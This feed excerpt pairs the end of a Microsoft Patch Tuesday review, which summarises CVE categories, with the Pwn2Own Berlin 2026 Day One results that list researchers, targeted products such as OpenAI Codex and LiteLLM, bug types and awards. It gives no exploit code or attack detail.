kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.</p><p class="">As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.</p><p class="">This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption.  Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook.  On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.</p><p class="">The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI. </p><p class="">There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.</p><p class="">There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Berlin 2026 - Day One Results]]></title>
<description><![CDATA[Welcome to Day One of Pwn2Own Berlin 2026! Today, 22 entries took the Pwn2Own stage to target AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products, as the world’s top security researchers push technology to its limits. Exploits, surprises, and breakthrough di...]]></description>
<link>https://tsecurity.de/de/3694566/hacking/pwn2own-berlin-2026-day-one-results/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694566/hacking/pwn2own-berlin-2026-day-one-results/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:55 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Welcome to Day One of Pwn2Own Berlin 2026! Today, 22 entries took the Pwn2Own stage to target AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products, as the world’s top security researchers push technology to its limits. Exploits, surprises, and breakthrough discoveries are unfolding.</p><p class="">After Day One, we awarded $523,000 for 24 unique 0-days! DEVCORE is currently in the lead for Master of Pwn, but a pack of teams are right on their heels. Stay tuned tomorrow for more results and surprises.</p><p class="">Follow the action live! We’ll be posting real-time updates and results throughout the competition on our <a href="https://www.zerodayinitiative.com/blog">blog</a> and across social media. Stay up to date by following us on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, and <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a>, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg" data-image-dimensions="1920x1080" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=1000w" width="1920" height="1080" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) could not get their exploit of OpenAI Codex working within the time allotted.</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) chained 4 logic bugs to achieve a sandbox escape on Microsoft Edge, earning $175,000 and 17.5 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg" data-image-dimensions="2000x1500" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=1000w" width="2000" height="1500" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - chompie of IBM X-Force Offensive Research (XOR) used a single bug to exploit NV Container Toolkit, earning $50,000 and 5 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg" data-image-dimensions="1767x1330" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=1000w" width="1767" height="1330" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - k3vg3n chained 3 bugs including SSRF and Code Injection to take down LiteLLM. $40,000 and 4 Master of Pwn points. Full win. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg" data-image-dimensions="4032x2268" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=1000w" width="4032" height="2268" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Satoki Tsuji (@satoki00) of Ikotas Labs, Inc. used an Overly Permissive Allowed List bug to exploit NVIDIA Megatron Bridge, earning $20,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg" data-image-dimensions="5712x4284" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=1000w" width="5712" height="4284" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Park Jae Min could not get their exploit of Oracle Autonomous AI Database  working within the time allotted. #Pwn2Own #P2OBerlin</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) used a single CWE-150 bug to exploit OpenAI Codex, earning $40,000 and 4 Master of Pwn points.</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Angelboy (@scwuaptx) &amp; TwinkleStar03 (@_twinklestar03) of DEVCORE Research Team used an Improper Access Control bug to escalate privileges on Microsoft Windows 11, earning $30,000 and 3 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png" data-image-dimensions="4215x3161" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=1000w" width="4215" height="3161" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">WITHDRAWAL</b> - Ben Koo (@kiddo_pwn) of Team DDOS has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category</p>
<p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Interrupt Labs could not get their exploit of NV Container Toolkit working within the time allotted</p>
<p><b data-preserve-html-node="true">COLLISON</b> - Although successful on stage, the Ikotas Labs, Inc. team targeting LiteLLM in the Local Inference category used bugs that were previously known. They still earn $8,000 and 1.75 Master of Pwn points. </p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Yoseop Kim (@pwning_me) used a CWE-470 bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg" data-image-dimensions="5712x4284" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=1000w" width="5712" height="4284" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">COLLISON</b> - Although successful on stage, maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category used a bug that was previously known to the vendor. They still earn $10,000 and 2 Master of Pwn points.</p>
<p><b data-preserve-html-node="true">WITHDRAWAL</b> - Yoseop Kim(@pwning_me) has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - haehae (@haehaeYang) of Out Of Bounds chained 2 bugs (CWE-190, CWE-362) to exploit Chroma, earning $20,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png" data-image-dimensions="5712x4284" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=1000w" width="5712" height="4284" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Billy (@st424204), Pan Zhenpeng (@Peterpan980927) &amp; Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) chained 5 bugs (incl. SSRF and Code Injection) to exploit LM Studio, earning $40,000 and 4 Master of Pwn points. Full win!</p>












































  

    
  
    

      

      
        <figure class="
